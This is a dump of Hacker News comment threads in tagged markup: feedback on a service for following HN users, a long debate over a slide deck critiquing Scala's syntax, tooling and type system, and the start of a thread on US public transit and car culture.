I'm usually in an 'open' mindset when I think of hacker news. HackerFollow enforces a 'closed' mindset; I only see stuff from those I follow. Can you leaven the stream with suggestions like somebody else asked on this thread?

I could see myself using this.

</comment><comment><USER17> This has a nice feel to it. Sort of like how I use disqus to follow my favorite commenters. Great job.

</comment><comment><USER18> I built a similar small service to follow HNers by e-mail, located at <http://nasr.ath.cx> Feel free to use it a report problems !

</comment><comment><USER19> Not bad. You should add the title of the thread along with the user's comment to give context. Also please position the user's name to the left. Most HN users are in the U.S. where people read left to right. That way I can glance at the stream and recognize who said what faster.

</comment><comment><USER20> I was only able to see recent posts/comments. I'm not sure if the API supports it (haven't looked) but would be nice to see older posts/comments as well, and agree with others about an RSS feed being a good idea.

In addition, an aggregate RSS feed of higher ranked HN'ers would be neat.

And clicking on the following without specifying a user to follow first ("logging in") doesn't work: <http://hackerfollow.com/?filter=devmonk> but as soon as a specify a user ("log in") it works. It should just work if it is essentially public, imo.

</comment><comment><USER21> Suggested future modification:

the "follow" page lists most followed users. How about adding a section to show who, outside of the top 10-15, has gained the most new followers over the last week or so? (Obviously this is more meaningful once the service has been running for longer than a week.)

This would give us a way to be introduced to up-and-coming users.

EDIT: also, the "most followed" page currently has a user (osuburger) who has 1 karma, 0 posts, and 0 submissions. Already being gamed?

</comment><comment><USER22> Good idea. Maybe a drop-down suggestion box (sometimes I don't know the exact name "jacquesm...?"). And currently it allows me to "follow" any gibberish I type in e.g. "kljarlkfejl".

</comment><comment><USER23> Feature suggestion: "Follow me" URLs that users could put in their HN profiles. This would greatly ease in-context following:

 _Read insightful comment › Click username to profile › Click HackerFollow link_

Alternatively, the best solution (though much more time-consuming to implement) for in-context following would be a browser extension that adds an HF link next to everyone's name.

<comment><USER3> This already works though it isn't mentioned anywhere yet:

<http://hackerfollow.com/follow.php?add={hn-username}>

</comment></comment><comment><USER24> Suggestion. Show the title of the story that each reply belongs to: it puts everything in context.

<comment><USER3> We'd love to do that but the data isn't readily available by scraping. We could continuously fetch the parent_id post until we reach the root story, but that would result in a lot of extra curl requests.. V2 : )

<comment><USER24> Instead of crawling by #id, crawl by new posts from the /newest page. For each post, split it into multiple pages, setting the parent id/title that way. Not that you _have to_ , but a future suggestion.

<comment><USER19> I'm guessing the info is currently scraped from the 'threads?id=username' page, but the title to each story is already there after the word 'on'.

</comment></comment></comment></comment><comment><USER25> Museo, as in the font? Nice tagline! This is very funny to me for some reason.

</comment><comment><USER26> Nice job. Feature request: an "all except" option that lets you to enter a list of specific users to ignore -- a HackerUnfollow feature, if you will.

Not that there are any annoying people on this site.

</comment><comment><USER27> Good idea. Nice design. Would you be interested in providing a stream API?

</comment><comment><USER15> For an outlandish feature, try grabbing links out of one's follow stream, to create a separate stream. Like this: <http://hackerbra.in/links>

</comment><comment><USER28> This has been on my "weekend project" list for a long long time. Excited that someone else actually got it done.

</comment><comment><USER29> When I add someone to follow I just get a blank page (if I go back I see them added)

</comment><comment><USER30> Amazing idea. I may start using this more than the front page of hacker news itself.

</comment><comment><USER31> Does everyone follow PG by default or did I just guess someone else's phrase?

<comment><USER3> Everyone follows PG so the first thing you see isn't empty and discouraging

</comment></comment><comment><USER32> So, it's basically like a Twitter for Hacker News?

Gorgeous implementation!

</comment><comment><USER15> Great.

Just followed a user who doesn't exist.

</comment><comment><USER15> An rss feed would be cool.

</comment><comment><USER33> Not bad..just some minor stuff:

-probably secret phrase should not be clear text in the entry box..</comment>


Scala – The good, the bad and the very ugly - <AUTHOR> http://www.slideshare.net/Bozho/scala-the-good-the-bad-and-the-very-ugly <comment><USER2> M'eh. Yes, Scala has flaws but I feel like this talk makes too much of minor annoyances. Ultimately you make an engineering decision about platform. Do you want decent performance, lotsa libraries, and a modern statically typed language? Scala is arguably your best option at present (yes this can be argued with; no that isn't an interesting argument to have). Maybe we'll all be using Rust/Haskell/whatever in 5 years, but in the meantime I got code to write and products to build and I'm using Scala for better or worse.

Specifically:

\- Code on slide 3 has typos. (Yeah, that's minor)

\- Lambdas are slower than Java 8 -- that's because Scala currently supports Java 6+. Java 8 has been released for 6 months. This is a ridiculous complaint.

\- Heavy in terms of concepts -- another ridiculous complaint. If you want to keep on writing Java, keep writing Java. If Scala didn't bring new stuff to the table it wouldn't be interesting.

\- Implicits -- agreed they can be misused. Type classes are the way forward.

\- I don't understand many of the "very ugly" complaints. Yes, collections have lots of methods. Is this surprising? Yes, library code may be written in an abstract way. So what? Yes, DSLs look like DSLs. Yes, abstracting over arity is a problem in all statically typed languages. etc.

There are valid complaints to be made about Scala. I feel this talk demonstrates a lack of understanding of the language, and many of its complaints are in fact misunderstandings.

To me the biggest issue this talk reveals is that if you come from an OO background (which I assume the author does) then learning Scala will require a change of mindset. I don't think it is fair to make this a language complaint though. Scala makes it fairly obvious what you're getting yourself into and, as I said above, if you wanted to keep on writing code the way you have in the past it's not clear why you are using Scala in the first place.

<comment><USER3> > If you want to keep on writing Java, keep writing Java.

Ah! But that's the point, because Scala is pulling a bait-and-switch. If it were only a modern statically typed language I wouldn't complain so much about it (and I really do complain a lot about Scala, I guess). Yes, I find its gaudy indiscrimination aesthetically unpleasing[1], but that's a matter of personal taste. The problem is that Scala still markets itself as "a better Java", and people are drawn to it so they wouldn't have to write getters and constructors. And at first, Scala does seem to be that. Only after a while you realize that it's a whole other beast altogether — not necessarily the one you bought into. If Scala were marketed as "a JVM language Haskellers can learn to live with", I'd have no issue with it (except the aesthetics, that is :)).

[1]: Yet, with its near-infinite list of features it can't even type immutability, which even Java 8 can through its pluggable type systems.

<comment><USER2> Indeed, if Scala wasn't closely compatible with Java (in terms of both syntax and interop) it would not have so much traction. That's the deal with the devil that Scala made, and one reason it has an excess of cruft. For example, no language needs both traits and abstract classes, unless that language wants to interoperate easily with Java.

I am broadly agreed with you. Scala could do with trimming, and I'm optimistic that both Typelevel and Typesafe will accomplish this in the near future.

<comment><USER4> " For example, no language needs both traits and abstract classes, unless that language wants to interoperate easily with Java."

now I'm wondering - does Clojure then suffer the same crufting? or it's less interoperable?

<comment><USER2> I believe Clojure is less directly interoperable. For instance, a Scala class is a Java class. I believe creating a Java class in Clojure is something you have to call into a library to do.

Update: reading the Clojure docs, the main issue I see is compiling Java code against Clojure code. Clojure has a number of constructs for calling Java code and creating Java objects, but it's not clear to me how you define an API in Clojure that Java code can then call.

<comment><USER3> Actually, Clojure interoperates with Java much more cleanly, and easily than Scala. Every Clojure collection _is_ a Java collection and vice versa. Every Clojure map _is_ a Java map and vice-versa. Plus, because Clojure is less statically typed than Java, Java typing idioms don't clash with Clojure's.

<comment><USER2> > Plus, because Clojure is less statically typed than Java, Java typing idioms > don't clash with Clojure's

Well, you made me laugh. :)

But the real deal is compiling stuff to JVM bytecode ahead of time, which Java code can then be compiled against. It's not clear to me that Clojure provides this, which is what I was getting at.

<comment><USER3> Of course Clojure does this. Clojure doesn't even _have_ an interpreter.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER5> I feel that most of (not all) the criticisms are fair, but superficial.

True, the IDEs are poor, for a certain definition of poor. Had I not used IntelliJ for Java, for example, I'd find IntelliJ for Scala amazing. Knowing how much better it can be spoiled me, but frankly, IntelliJ for Scala is not _bad_. It just could be better. Also, Emacs has a very robust Scala mode.

True, there's a _lot_ to learn before you can consider yourself fully fluent. You do not need to know everything, however. And once you've started on the path, things tend to flow naturally. For example, implicit conversions are easy to grasp. Once you understand them, implicit parameters and type classes are not much more complicated. Once you know type classes, it opens the door to a lot of functional "design patterns" \- functors, applicatives, monads... these are not strictly necessary, but they're _fun_ to learn about. And they teach you algebraic data types, which in Scala means case classes, sealed traits, ... it all sort of flows naturally.

True, it's easy to write absolutely un-maintainable code. While that's true of any language, Scala makes it rather easier than most. It's also very easy to write highly maintainable, legible code, and to avoid complex, ascii art based operators (or at the very least to offer wordy equivalences at 0 cost through `@inline`). I feel that saying "it can be hard to read, if you don't follow basic guidelines" is a bad reason not to use a language. A good reason to be careful, though.

My personal experience is that, once you start feeling comfortable with the language, you get much more productive than with Java. It does require some initial work, though: if all you know is OO, learning how to design your code for composition rather than inheritance takes a while - it takes a while just to realise that it's not a bad idea, let alone embrace it!

Also, ScalaCheck. Man, do I wish there was a good Java equivalent for some of my legacy code (that would not require me to rewrite all of my tests).

<comment><USER6> _Once you know type classes, it opens the door to a lot of functional "design patterns" \- functors, applicatives, monads... these are not strictly necessary, but they're fun to learn about._

For a certain value of "fun", I guess.

Generally I find in engineering that it's best _not_ to add abstraction (or other forms of complexity) to a system unless there are strong, clear benefits to doing so. The more we learn about Scala, it's just not clear that it delivers those benefits (in proportion to the time investment it demands).

It's not that I don't "dig" abstraction. It's just that I have an infinite list of things to learn about (some fun, some not so fun) in any given development environment. (In general, most of these are in the non-fun category: dealing with dependencies,build tools, and legacy quirks that can never be fixed).

And another infinite list in _my own problem domain_ \-- you know, that thing I'm supposed to be, theoretically, directly working on (in the service of which all of these fancy software tools were supposed to be a means, not an end). Plenty of very real and juicy abstractions. More than I can ever hope to get to the bottom of, in fact.

But don't get me wrong. If applicatives and such are your bag, then that's great. Maybe Scala is the right language for you, then.

<comment><USER7> I agree with you in terms of abstraction; I do believe Scala adds a lot to practical programming as well. I feel the community is tainted by a bunch of type-nerds trying to compile their Haskell, and don't care about writing simple, maintainable code.

We use Scala because it is speedier to push features. I work much quicker in it, and we don't have to worry about a lot of the stuff we would in Java. That said, we don't use a bunch of the most complex features of the language (I am just talking simple pattern matching, map/flatmap/filter/unzip). So far, it's actually the most productive language we've used.

Our dig is the community and things peripheral from the core language: documentation is generally awful (Play, SBT). Dependencies management is awful (SBT doesn't work). Libraries are overly complex (Dispatch). And compile times suck.

</comment></comment></comment><comment><USER8> The IDE story has vastly improved in Scala, certainly nowhere near that of Java but decent nonetheless. The best way to shoot yourself in the foot is to have automatic build turned on in your IDE _and_ to run SBT in a separate terminal; with that approach you get dog slow compilations, blocked UI, and other hair pulling madness. When SBT is boss (i.e. IDE auto build turned off and compile target shared between the two) then you'll have a far saner development experience.

The OP hasn't been using Scala for long so many of his gripes boil down to lack of experience. You have to learn the ropes, the (myriad) corner cases, etc. of the language before things start to click.

It's like starting out in Haskell, where on earth do you even begin to understand this utterly new paradigm, much less go into production with large scala projects in it? The answer is: you don't, you learn, learn, learn until you're well grounded in the language and its frameworks; _then_ you bet the bank on it because you're sold on its clear-as-day powers.

I'll go out on a limb and say that the only viable type safe alternatives to Scala and its ecosystem are C#/F# on .NET, and Haskell. In other words, yes, Scala has its warts, but overall is pretty much unmatched in terms of expressivity, power, and performance.

<comment><USER9> I like Scala, but it gets me that the official IDE, Scala IDE, is so utterly broken. If you let the IDE handle the build, you'll constantly get spurious compilation errors, which in a statically typed language are _unacceptable_.

Letting SBT do the build may work, but come on. This is the _official_ IDE! Is there any acknowledgement in scala-ide.org that you should let SBT to do the build? Do Odersky and the guys at Typesafe use that setup, or do they suffer their IDE silently?

I haven't had much luck with IntelliJ either.

<comment><USER10> I would never let any IDE run my build.

Builds are always scripted with explicit settings, which anyone can run, with the same results, regardless of what editor and preference settings they use. (so long as needed compilers are installed on server/workstation)

<comment><USER9> I think we're not using the word "build" in the same sense. I meant when writing code with your IDE, not when building the deployable artifact. In Eclipse this would be in _Project - > Build Automatically_; I forget the setting in IntelliJ.

Incremental compilation in the IDE is useful because you see errors as you type. This is an entirely separate issue from reproducible builds, etc.

<comment><USER10> OK, so you are talking about the ability of the IDE to scan (and parse where needed) the code and libraries to generate a symbol table for validation, auto-completion and definition / usage look-up.

<comment><USER9> Yes, but note that for this the IDE needs compilation, which is why I used the word "build" (perhaps confusingly).

Eclipse for Java does this perfectly, and I assume many other IDEs do so too. Scala IDE, which is built on top of Eclipse, does a terrible job at this. For a statically typed language such as Scala, it's aggravating when your tools report spurious compilation errors.

</comment></comment></comment></comment></comment></comment><comment><USER11> Saw some Scala at a conference recently. The guy was demonstrating using it to do TDD.

I lost track somewhere in the first ten minutes or so, but it looked like he was importing/using multiple DSLs and helper libraries. After I lost track of the exact details, I started scanning for the gist of what he was doing.

After an hour, he had what looked like the most massive clusterfuck I've ever seen in a project file -- all to do something that would take a dozen lines or so of simple FP script. Seemed like every functional thing he used was either also an object or had to be bolted into an object graph for it to work. The project file had scores of things in it.

This did not leave a good impression. It reminded me of when I saw my first C/Win32 app and realized you needed a couple hundred lines of code and several files just to say "hello world" \-- except this was a couple orders of magnitude more complex. It was a god-awful abomination.

Hopefully Scala projects are not like this.

<comment><USER12> Not all Scala projects are like this. There's a sect that wants to write tests in "human readable" fashion, e.g. the people who like Cucumber in Ruby; in Scala those same people write their DSLs within the language, something Scala is good at and that I'd argue provides real advantages over an "external" DSL. But you don't have to do that; I write Scala professionally and all my tests are just ordinary JUnit test methods.

<comment><USER11> Whew!

I'm okay with using DSLs. Hey, if you have good FP, flaunt it. My concern after watching this, however, was whether or not the JVM development environment itself encourages complicating things beyond the most minimum thing needed to solve a problem when you're using it in a functional manner. (I haven't done Java in a decade). So, for instance, could I have just written a simple 12-line script to solve the problem he was banging around? Or would I have to create some kind of object with a "main" method? Could I just add in a test file and write functional tests from there, aka JUnit, or do I have to bolt something in that then requires a separate project structure and so forth (aka JUnit)

There's no right or wrong answer for any of these types of project configurations. Heck, I like my tests in a separate project. It just looked like every time he had a new need, the project got 14 times more complex. The solution to one problem made the entire development environment more complicated for everything else. That's heading in the wrong direction, no?

Admittedly I only had a brief glance. Thanks for the answer!

<comment><USER13> Scala's creator's course on coursera certainly doesn't encourage complicating things beyond the minimum necessary

[https://www.coursera.org/course/progfun](https://www.coursera.org/course/progfun)

<comment><USER14> I've used Scala on and off professionally for about 4-5 months and the best advice I could ever give to someone using it for the first time is to try and treat it like Ruby but with type safety.

As numerous people before me have said, the language is a mess. Although it offers some benefits, the syntax is so absolutely bloated that you're probably better off taking the time to really consider whether or not you absolutely need it for all of the headaches and unreadability you're going to run into in terms of code. There aren't many Scala developers out there and the learning curve can and likely will punish you when things need to get done, assuming you're bringing in new developers.

The open source libraries all generally seem to have glacially slow development processes, which in some cases might be considered acceptable, but when the main Scala team pushes out 2.11.x (and to some degree actively encourages its use) and X framework you're using literally cannot run because library Y is not compiled against it, you end up stuck on Scala 2.9/2.10 which is really unpleasant for you because you're missing out on the speed increases and other quality of life improvements (how many times have you run into the 22 argument limit for case classes on 2.10?).

Perhaps I'm asking for too much, but Scala strikes me as a language that's supposed to be moving a bit faster than Java in terms of development, but that doesn't really seem to be the case. All in all, while it has some neat parts, if I never got to work with it again I wouldn't be crying about it.

<comment><USER15> I resent Scala because it takes up a spot in the JVM ecosystem that I wish a ML family member would occupy.

I really hope Java 8 will slow down Scala's growth.

<comment><USER16> I really wonder why we need the JVM at all.

For Haskell at least, the GHC runtime is getting pretty good, and seems to have at least basic tools for GC analysis etc. I'm ignorant of MLs so perhaps someone can speak to their status.

Of course there's the much-touted "Java Ecosystem" but it's looking crustier than ever methinks. Maven?? Blech! Also, it doesn't seem wise anymore to build a website on Servlets/JSP/SpringMVC etc, esp. if you want to attract devs. Rest APIs maybe.

What's the killer feature these days recommending the JVM?

<comment><USER17> Reliability, performance, maturity, instrumentation, diagnostics.

Just picking one example from the list, performance: How is GHC's runtime dealing with 100GB+ heaps?

<comment><USER18> Do the Oracle or OpenJDK JVMs deal well with heaps that large? I have no interest in other JVMs because my employer would not consider switching and I can't say I blame them.

<comment><USER19> It depends on what you mean by "deal well with heaps that large". You can certainly set them that large with no problems. But given your memory patterns they can cause dramatically bad GC times.

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER12> Does the syntactic diabetes really bother people? Like, yes, these are different sequences of characters that mean the same thing, but visually it's very clear that they are the same thing; it's not the perl "there is more than one way to do it" where the ways of doing it are _conceptually_ very different. It seems no different from complaining that I can write f(a, b) or f((a), (b)), which is a choice you get in almost every language.

Implicits are dangerous, sure. Typeclasses are vital and extension methods are nice, but it might be better to cover these use cases with something more specific. That said, these days the IDEs flag up implicits so it's not really a problem day-to-day.

Concise really helps readability at the function/module level - there's a huge drop in readability when a function reaches the point that you can't fit it on one screen. It may well be that the 1-line scala version of a method takes exactly the same time to read as the 10-line java version - but if it means you can fit your whole class on one screen, that's still a win.

Symbolic method names are bad and I wish the community would move away from them.

The definition of ++ is perfectly sensible once you stop panicking and start actually reading it. As is the parser; sure, it's a DSL, it uses some short symbols, but I defy you to find a better way to express the parser given. When you're building up a complex parser, it's well worth having a concise notation.

jsonFormatX are legacy cruft. In a modern json library you can avoid them by using Shapeless instead; hopefully spray-json will do this too.

The .toSet() example is deprecated and will give a warning if you actually try and run it.

Java-8 style lambda compilation is already available under an experimental flag, and the next release will have full support.

<comment><USER20> Syntactic diabetes is to me the best warning sign. It means the focus on orthogonality has been lost somewhere in the evolution of the language.

There should be only one way to express a given language operation, and this way should be the simplest and most elegant. Not just because of aesthetic (which is crucial when speaking about readability), but also because it would combine the most harmoniously with other parts of the language.

It seems to me that at this point scala should deprecate all non-essential syntactic sugar and features and reduce the language to its "core". Or, at the very least, people should start a fork with that goal. Hell, it could even be just a compilation option.

<comment><USER12> I don't see how it's a loss of orthogonality; just like a whitespace- insensitive language, it's saying that the choices of bracket and dot are syntactically equivalent. And that syntactic freedom means the precedence of a Scala line is often much clearer than the equivalent in other languages:

        a b {c d (e f g.h(i))}

In Haskell you'd have to write that as something like:

        a b (c d (e f (g h i)))
        //or alternatively
        a b $ c d $ e f $ g h $ i

<comment><USER21> I don't understand what you're trying to argue here. At least in this example, I cannot see how the Haskell version is not much more clear.

<comment><USER12> I find it much easier to visually tell what the tree structure (AST) is in the Scala version, because of the different possible delimiters -the fact that a '(' must match a ')' and not a '}' makes it much easier to visually parse.

</comment></comment></comment></comment></comment><comment><USER22> Excellent quote:

      "Concise" doesn't necessarily mean fast to write or easy to read

<comment><USER23> Maybe, but it's just a generic statement about programming, it has no real value in a critique of Scala specifically. Part of the beauty of any flexible language is you can go back and refactor it down to a more elegant solution as you learn more. That doesn't mean you have to boil the code down to a point where it is largely impossible to read any more in Scala than any other language.

There are real pain points in Scala when you try and scale it from single developers to teams working on a project and most of them are to do with the flexibility of the language.

I think all companies working with Scala end up settling on a sub-set of the language that they are happy with. In that sense, the bad is irrelevant: you are never put in a situation where, say, you are forced into using implicits (apart from light use in external libraries like lift-json) so if you don't use them you never suffer their downsides. If you obsess over parts of a language you don't even have to use... then well I'm afraid I have nothing but scorn for people like that.

At team-scale then your main pain point is trying to get style of writing that everyone can get behind. Code reviews can be painful when developers with different ideas on how to solve a problem butt heads and pull requests turn into "That's not how I would have written it" instead of critiquing the actual code presented.

The tooling and compiling I completely agree with. SBT is a horrific mess. I don't have a single good word to say about it.

<comment><USER24> > Maybe, but it's just a generic statement about programming, it has no real > value in a critique of Scala specifically.

About Scala specifically? No, indeed. About languages which make it possible to create custom ASCII operators? Certainly. I don't know how the Scala culture about this is, but my experience with Haskell is that once people run with it, you get awful ASCII DSLs with cryptic operators all over the place.

> I think all companies working with Scala end up settling on a sub-set of the > language that they are happy with.

So, pretty much like C++, a language that people love to hate. The problem is that, out in the wild, you're going to end up with legacy code made by people who picked a different sub-set.

<comment><USER23> There is an infamous library called dispatch. Someone put together [http://www.flotsam.nl/dispatch-periodic- table.html](http://www.flotsam.nl/dispatch-periodic-table.html) to try and help other developers out when using it. I use it because it is good... but hell. The lack of discipline there is awful.

 _The problem is that, out in the wild, you 're going to end up with legacy code made by people who picked a different sub-set._

This is the situation I've been in for the last year and I agree that for every point I make in praise of language flexibility this is the strongest counter-point.

<comment><USER25> Dispatch was one of the first libraries for scala, it's not really fair to use it as an example.

The latest version of dispatch doesn't have that many operators anymore. [http://dispatch.databinder.net/Combined+Pages.html](http://dispatch.databinder.net/Combined+Pages.html)

</comment></comment></comment></comment></comment><comment><USER26> Yes, scala. I'm having some fun with it... but i'm also having a lot of arguments with it. I especially recognise the parts of "there is no best/single way of doing things". I can overcome the syntax diabetes.

I'd like to do functional programming, I'm doing server/web based stuff mostly. I'd like the language to have a big(large) ecosystem. Clojure is fun and all, but it's more or less a hackernews language. There are only a few serious businesses using it. It also lacks a web framework like Play!. Same goes for Haskell. So besides all the bad stuff of scala, having play and quite a large ecosystem is why i wanted to try it.

<comment><USER27> I don't want to be that guy, but why don't you try Go? It's the perfect server side language IMHO.

<comment><USER12> With a type system that's weaker than Java's? Look at e.g. the way spray handles HTTP headers; it eliminates a bunch of errors that are in some sense trivial, but almost all bugs are trivial when looked at in the right way. You just couldn't do something like that in Go.

<comment> grey-area _Look at e.g. the way spray handles HTTP headers..._

For those of us not familiar with Scala it'd be interesting to see you expand on that statement. Are you talking about the type definitions in this file?

[https://github.com/spray/spray/blob/release/1.1/spray- http/s...](https://github.com/spray/spray/blob/release/1.1/spray- http/src/main/scala/spray/http/HttpHeader.scala)

<comment><USER12> Yeah. It means you can e.g.

        respondWithHeader(`Content-Encoding`(UTF8)) { ... }

and the header and its parameters are typed, and so if you make a typo in the name or the value (or try to pass the value of one header to another) then you'll get a compile-time error.

<comment> grey-area You could type things like headers in Go too if you want to, by introducing a new type for each header in a similar way, get them to check values are valid on being assigned etc. (std lib does it in a simpler less robust way but it's quite possible). Go could then do compile time checking for those types, e.g. something like:

[http://play.golang.org/p/GeUgsjitVS](http://play.golang.org/p/GeUgsjitVS)

        func respondWithHeader(h HttpContentEncoding) string {...}

<comment><USER28> I would imagine having union types and such would make something like this a bit more powerful. Not entirely sure, but having a hierarchy of http contentencoding types, and http error/success types could make it easier to write code that handles all error conditions. Also having a type for sanitized strings versus unsanitized strings. That being said, I've never used a language with a sophisticated type system to do web programming.

<comment> grey-area _Not entirely sure, but having a hierarchy of http contentencoding types, and http error /success types _

Yes the Scala server shown was an interesting example, though I'm not sure if it would be impossible to do in other languages or just harder.

 _Also having a type for sanitized strings versus unsanitized strings._

The golang stdlib does do this, it's quite handy as a reminder.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER29> I submitted a YouTube video 165 days ago where Martin Odersky explains how to avoid coding the complicated way. [https://news.ycombinator.com/item?id=7641626](https://news.ycombinator.com/item?id=7641626)

</comment><comment><USER30> I use scala a lot and it did become my go to general purpose language (as well as my workplace adopted it as a first class citizen and used for many new projects)

I do have issues with it, but mostly with developers using (abusing) it. (And library authors that are a bit religious about the functional paradigm and simply love their operators...

With great power comes great responsibility, the is no better description to this language.

Also, I was looking at the CanBuildFrom hell with fear, but Odersky et al's book on Scala surprisingly did a good job getting the pieces in place for me. It even makes sense of the madness.

[http://www.artima.com/shop/programming_in_scala_2ed](http://www.artima.com/shop/programming_in_scala_2ed)

Finally, Bozho is one of my most respected contributors on stackoverflow. And I can say that his slides actually do justice to Scala, I might disagree on the conclusions, but the facts are absolutely right.

</comment><comment><USER31> I kinda agree with this. Scala has good bits. Very good bits. Gorgeously beautiful bits, even. But the ugly bits are so terrifyingly ugly that I dare not touch it.

Give me the Scala pattern matchers (that can also match by type and even by content of case classes, I believe), with the case classes and the actor concurrency model, but keep the horrendous type system and the confused parts of the syntax.

<comment><USER17> > horrendous type system and the confused parts of the syntax

Could you expand on that a bit?

In my experience, Scala is one of the few languages which don't fight against everything you want to express in a typesafe way.

Also, I find the syntax extremely consistent. Easy to remember and almost no special rules.

<comment><USER31> The article shows some examples where you can choose between regular brackets or curly brackets. There's a lot of different ways to say the exact same thing. Why? Which is best? Are there any cases where one works but the other doesn't, and if so, why does the other exist? But maybe I'm too used to different brackets meaning different things. I'm used to Java and Groovy where brackets are used very consistently.

The type safety goes way overboard with extremely arcane, incomprehensible expressions. The excessive power of the type system makes compiling far too slow. And the pattern matchers mean you can easily get your type back when you need it. I really strongly prefer the more dynamic approach of Groovy. Total type safety is a trap.

<comment><USER17> > The article shows some examples where you can choose between regular > brackets or curly brackets. There's a lot of different ways to say the exact > same thing. Why? Which is best? Are there any cases where one works but the > other doesn't, and if so, why does the other exist?

Yes, but which one would you remove?

If you disallowed the curly ones, developers would suddenly require an additional language feature to define methods which could be used like this:

      using(someResource) {
        // do something with ressource
      }

Apart from that {} has semicolon inference, while () doesn't. That's extremely helpful, if you have some expression and really want to make sure that it can't be split into something like { doThing1, doThing2 } by an unaware developer.

> Total type safety is a trap.

Sure, there are limits on what can be done with a type system, but these options have been growing larger and larger in the last decades.

I wouldn't throw away the last 40 years of progress in that area and start doing stuff manually which any decent compiler can figure out for me.

> Groovy

I haven't heard from Groovy since a long time ago. Is it still actively developed? The last things I saw was that they were struggling to catch up, and work on the new MOP still wasn't finished.

On the Gartner PLI, Groovy is way down on position 20. That doesn't look too promising either ...

<comment><USER32> > I haven't heard from Groovy since a long time ago.

It's still the sole language used in Grails, which is losing adoption share to newer web frameworks. Gradle is on the rise, but Gradle will probably soon open its configuration as an API so any language can use it, so Scala and Clojure could become more popular for scripting Gradle in the future.

> Is it still actively developed?

There's a technical developer employed by Pivotal who's presently working on making Groovy work on Android. I don't know if he's working on it full-time or merely squeezing in development between fee-paying consultancy work.

> The last things I saw was that they were struggling to catch up, and work on > the new MOP still wasn't finished.

I don't think work on a new MOP has started. It's pitched for Groovy 3 and the next version of Groovy is still version 2.x.

> On the Gartner PLI, Groovy is way down on position 20.

On Tiobe, it's still hovering around position 49, where it's been fluctuating since 2007, sometimes higher, often out of the top 50.

</comment></comment></comment></comment></comment><comment><USER33> Is there a book everyone recommends for learning Scala? In the beginner range, not someone coming from Java.

<comment><USER34> `Scala for the Impatient` is really good.

<comment><USER35> Scala for the Impatient is really good, but not sure that it's designed entirely for beginners.

For more beginner-centric content perhaps check out:

Learning Scala:

[http://shop.oreilly.com/product/0636920030287.do](http://shop.oreilly.com/product/0636920030287.do)

[http://chimera.labs.oreilly.com/books/1234000001798/index.ht...](http://chimera.labs.oreilly.com/books/1234000001798/index.html)

...or Atomic Scala:

[http://www.atomicscala.com/](http://www.atomicscala.com/)

</comment></comment></comment><comment><USER36> golang

<comment><USER35> Perhaps you could elaborate on how naming a random language relates to this discussion...

<comment><USER37> Heh ... it is the other mainstream "hot" language.

I was looking for a language to move to post-python. I love python but the 2.7->3 jump has been annoying. More than that, I felt I needed static typing for the next big system I did ... too much pain debugging python.

I looked at Scala since it had the JVM behind it. While the language seems decent, it seems too easy to write unreadable code. Multiple ways of doing the same thing ... yada yada.

Friends at Google had been espousing Go for a long time and I didn't bother. Seemed like a proprietary language with little adoption. Two things changed for me. I got some exposure to erlang via elixir. This made me think about the whole channel concept. Second, I had to read code in Docker (which is awesome). I learned a bit of the language and was surprised how small the language was. Really reminded me of C, which I love. There seems to be more adoption of Go .. e.g. Cloud Foundry and others. I like Go enough that I will be spending more time learning and investing in it.

Just by 2 cents.

</comment></comment></comment><comment><USER38> From the looks of it, the author of these slides has written very little Scala. Take slide #7, for example, where he writes def bar() = { "1" } when def bar = "1" is perfectly sufficient. Ironically, I may very well be pointing out the bad parts of scala (i.e. that () is simply a convention for indicating Unit or side-effecting functions, but its just convention and not enforced by the type system in any way). Notwithstanding that, I don't think someone who has written very little Scala is in a great position to offer a reasonable critique.

This is a longer discussion, but in the very first slide he points to the object-orientation as a plus. In my opinion, he's already wrong. "There is no such thing as Object-Oriented programming." See: [http://blog.higher- order.com/blog/2008/12/04/no-such-thing/](http://blog.higher- order.com/blog/2008/12/04/no-such-thing/)</comment>


How U.S. Cities' Public Transit Stacks up - <AUTHOR> http://fivethirtyeight.com/datalab/how-your-citys-public-transit-stacks-up/

<comment><USER2> What I don't like about this chart it it doesn't show how bad the USA's public transportation is relative to places like say Tokyo, Singapore, Amsterdam, Stockholm, Berlin, Helsinki, etc. They're night and day better than NYC which itself is night and day better than SF.

<comment><USER3> Exactly, if we're "stacking up" why not against international cities?

<comment><USER4> Other countries have legal, political, cultural, and social environments that differ significantly from the US. Finding out that something works better in London or Paris than it does in Seattle is interesting as trivia, but because of those environment difference usually doesn't tell much about how to improve that thing in Seattle.

Finding out that San Francisco does something better than Seattle does teach something about improving it in Seattle, because the legal, political, cultural, and social environments are much more similar.

Hence, domestic comparisons are more interesting, as they suggest more achievable improvements.

<comment><USER5> Indeed, no knowledge can be gained from the outside world. Those parts of the world run on magic and stinky cheese.

</comment></comment></comment></comment><comment><USER6> We had public transportation in Central Ohio, and then the automotive industry lobbied hard to have it dismantled. Ohio, Michigan, and the rest of the midwest were home to the automotive industry.

Now decades later, with the automotive lobby not being quite so strong, the asphalt industry has their guy as the head of the transportation department. Non highway projects of any sort are not just discouraged but actively squashed and ostracized.

I'm still astounded they are actually building the new US Bike Route 50 through Central Ohio. It must be forces outside our state government making that happen. Maybe it is a good contract for the asphalt contractors too. I would not be surprised, in spite of that, if our governor's administration figures out a way to stop it.

I have heard many, many times around here: "This is America. I have a RIGHT to drive the biggest car I can afford and I expect to be able to do so whenever and wherever I want. You are not going to force me to ride a bus or subway or train or bike, nor force any of my tax dollars to go to such un-American things."

(Apparently if you have any sort of public transportation system you are forcing people to use it.)

<comment><USER7> The motion that cars are a private, free market form of transport while trains are public, left wing sort of transportation is interesting.

Roads are publicly funded and owned just like tracks are. The cars themselves are privately owned, so I guess that's market points for cars. But, trains involve a direct transaction that (partially) funds the facility in a user- pays way. Roads are funded by taxes. They try to use registration and petrol taxes that are related to use of roads but it's still a tax, not a normal transaction. If you drive on a private road, you still pay petrol tax and the taxes can't be tied to use of a specific road. I'd say that's market points to the trains.

Getting to the more fuzzy trains have a social egality to them. Everyone sits in the same cars looking at each other, sharing space. You end up squished against people of races, creeds & classes that you mightn't associate with normally. They're seen as environmental which is left wing. They're inclusive of the marginal people who can't afford to drive, are to young or otherwise unable.

Cars have a personal liberty aspect to them. Your car. Your space. Your rules. Go where you want, when you want. Open roads. Wind in your hair. They don't have a schedule set by someplace else or stops decided on by some comitee. Cars are status symbols and and opportunity to show wealth. Car ownership is something to aspire to. They're symbols of the great capitalist/industrial age.

